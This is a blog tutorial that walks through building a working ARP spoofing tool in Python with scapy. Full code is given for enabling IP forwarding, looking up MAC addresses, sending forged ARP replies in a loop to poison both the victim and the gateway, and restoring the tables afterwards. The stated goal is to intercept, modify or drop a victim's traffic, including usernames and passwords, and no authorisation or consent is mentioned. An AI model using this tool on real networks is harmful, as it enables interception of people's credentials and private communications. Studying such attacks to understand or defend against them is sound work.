How to Build an ARP Spoofing Tool Using Python

Posted by Aaron John on February 18, 2019

In this documentation, I will go through the process on how to write an ARP Spoofing program which will enable us to redirect the flow of packets. The main focus on using this tool will be to redirect packets to flow through our computer.

Therefore, any requests sent and responses received by the target client computer, will have to flow through our computer (attack machine) since we are the MITM (Man In The Middle). Hence, images, usernames, passwords, websites or any information entered by the target client will have to flow through our attack machine. Then, by using the ARP Spoofing tool, we can read this information, modify it, or even drop the packets. This is all possible because ARP is not very secure.

Before I go into why ARP is not secure, let’s discuss why ARP is used. ARP is used so that clients can identify other connected clients on the same network, and next, they can get the clients MAC address. The reason being, clients on the same network connect with each other using the MAC address. (Note: here, each client device on the same network has an ARP table which links ip addresses to it’s respective MAC address.) In order to view your network ARP table, type the following in terminal:

1
arp -a

Unfortunately, the MAC address can be modified by exploiting the ARP protocol. In order to exploit this protocol we will send two ARP responses. One response to the gateway AP(i.e. router access point) and another response to the target client (i.e. victim’s computer). Here, we will tell the gateway that our attack machine is at the IP of the target client. Hence, the gateway AP will update it’s ARP table and it will associate the IP of the target client with our attack machine’s MAC address. We will do the same response process with the target client machine, making it modify its ARP table so that it will associate thee IP of the gateway AP with our attack machine’s MAC address.

Therefore, we end up fooling the target client computer that our attack machine is the gateway AP and the gateway AP will think our attack machine is the target client computer. Hence, to sum everything up, whenever the target client sends a request, it will flow through our attack machine and then we will port forward it to the gateway AP. The same process applies for the gateway AP. So, when the gateway AP sends a response it will flow through our attack machine and then we will send that response to the target client. Therefore, this makes us the man in the middle of the connection.

Why ARP is not secure? As listed above, clients accept responses even if they did not send a request. Also, the reason clients accept responses is because they trust the incoming response without any form of verification.

Process on How to Build an ARP Spoofing Program

  1. Since the attack machine is not a router, when it get’s requests, it stops the packets from flowing through it and going to the router. This happens because it is a security feature in Linux systems. Therefore, we need to enable port forwarding, so that the attack machine will allow packets to flow through it just like a router. In order to accomplish this, open a terminal window and type the following command to enable port forwarding.
    1
    
     echo 1 > /proc/sys/net/ipv4/ip_forward
    

    (Note: Linux comes with a built in ARP Spoofing tool, However let’s create our own ARP Spoofing tool.)

  2. Next, let’s create a new python file using any IDE you prefer and we will start off by importing the the necessary modules to complete the task. Here, I added a shebang at the beginning of the script, so that the script recognizes the interpreter type when you execute the script from shell. Here, by using the scapy module, we can create, and send an ARP response. Plus, we can use scapy to extract a MAC address. The time module will help us handle time delay to send packets, which you will see further into the documentation. Finally, the sys module will help us flush the output buffer which you will also see in the later steps.
    1
    2
    3
    4
    5
    
     #!usr/bin/env python
    
     import scapy.all as scapy
     import time
     import sys
    
  3. Next, we will create two global variables to save the target client IP address, and the gateway access point IP address.
    1
    2
    
     target_ip = "10.15.20.6"
     gateway_ip = "10.15.20.1"
    
  4. Next, let’s create a function to extract MAC address. Here, we will use the scapy module, which lets us do the same functions as Netdiscover and NMap: to scan the network. (See python comments for info.)
    1
    2
    3
    4
    5
    6
    
     def get_mac(ip):
         arp_request = scapy.ARP(pdst=ip)  #using scapy module to create ARP packet object and .ARP to ask who has target client IP
         broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") #set destination MAC to broadcast MAC
         arp_request_broadcast = broadcast/arp_request #scapy allows us to combine both ARP request and also broadcast at the same time
         answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] #send packet and receive response
         return answered_list[0][1].hwsrc
    

    (Note: Disable NAT network in using virtual machine when using an external adapter to discover systems.)

  5. Next, let’s go ahead and create a function to create ARP responses and send those responses in order to spoof the desired machine. Which means, we can poison the ARP table, which will put is in the middle of the connection. From the scapy module, we will use the “op” field and let’s set it to the integer 2 in order to send an ARP response. Because, by default “op” is set to 1, which means it will always send an ARP request when an ARP packet is created. Below, pdst is set to the target clients IP address (destination IP: which is the target machine to be poisoned), hwdst is set to target clients MAC address which is obtained from the get_mac function and psrc is set to the IP address we want to spoof. Basically psrc is the source of where the response is coming from and here we fake the IP and set the IP of the AP router.
    1
    2
    3
    4
    
     def spoof(target_ip, spoof_ip):
         target_mac = get_mac(target_ip)
         packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
         scapy.send(packet, verbose=False) #scapy.send will send the packets for us
    

    (Note: Do route -n to get IP of router and also for more info on scapy, go to python interpreter and type “import scapy.all as scapy” and then type “scapy.ls(scapy.ARP)” to view all the option fields of the scapy module. Also, even tho we dont mention it above, scapy will set the hwsrc to our attack machine MAC address by default.) Next, once scapy.send is executed, the ARP table of target client machine should be poisoned. Do “arp -a” from target client side to confirm.

  6. Next, we will write a function to restore the ARP tables, so that when we quit the program it will revert the ARP tables and associate the IP address with the correct Mac address. Hence, the traffic can start flowing normally. The need for a restore function is if the ARP table is not restored, we will still be the MITM even if we quit the program. (Note: After some time the ARP tables will go back to default, because we are not continuously sending spoofing response packets. However, it is better practice to restore everything to the way it was, when we quit the program.)
    1
    2
    3
    4
    5
    
     def restore(destination_ip, source_ip):
         destination_mac = get_mac(destination_ip)
         source_mac = get_mac(source_ip)
         packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
         scapy.send(packet, count=4, verbose=False) #here count=4 is to send packet response 4 times. verbose=False so that scapy.send runs in the background
    

    (Note: here we need to specify the source MAC address - hwsrc or else scapy will set the hwsrc to our attack machine MAC address by default.)

  7. Finally, we can start using the above functions. We will use the spoof function twice, the first spoof call is to tell the target client machine (victim) that our attack machine has the gateway AP (router) MAC address. A second spoof function call is to tell the gateway AP (router) that our attack machine has the target client machine (victim) MAC addresss. This will make us the MITM of the connection. However, in order to maintain the poisoning of the target ARP tables, we need to continuously send ARP responses. Therefore, we will do a while loop that will send a ARP spoof to both target client and gateway AP every two seconds. This is possible by using the time module, which will put the while loop to sleep for 2 seconds.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    
     try:
         sent_packets_count = 0
         while True:
             spoof(target_ip, gateway_ip)
             spoof(gateway_ip, target_ip)
             sent_packets_count = sent_packets_count + 2
             print("\r[+] Packets sent: " + str(sent_packets_count)),
             sys.stdout.flush()
             time.sleep(2)
     except KeyboardInterrupt: #to make the tool UI pretty, use try/except block, so that error is not shown when user does a keyboard interruption.
         print("\n[-] CTRL + C : Keyboard Interruption => Restoring ARP tables now. Please wait...\n")
         restore(target_ip, gateway_ip)
         restore(gateway_ip, target_ip)
    

    (Note: python buffers everything when you have a comma after a print statement. Meaning, everything will be printed in the background, and you will see all the print statements when you CTRL + C. Therefore, we will tell python to flush this buffer and print statements instantly using sys.stdout.flush() Therefore, the program won’t wait for the user to CTRL + C in order to show output of print statements. After this line of code, everything will start to print in one line. To avoid this ugly screen output, I over-write the previous print statement and replace a new print statement by using ‘\r’ which tells python to print statements from the start of the line. Hence, now it will dynamically print the sent packets statement.)

  • The above sys.stdout.flush() only works with python 2.7 and below. For python 3 use:
    1
    
      print("\r[+] Packets sent: " + str(sent_packets_count), end="") #Where end="" will tell python not to add anything to the end of the print statement.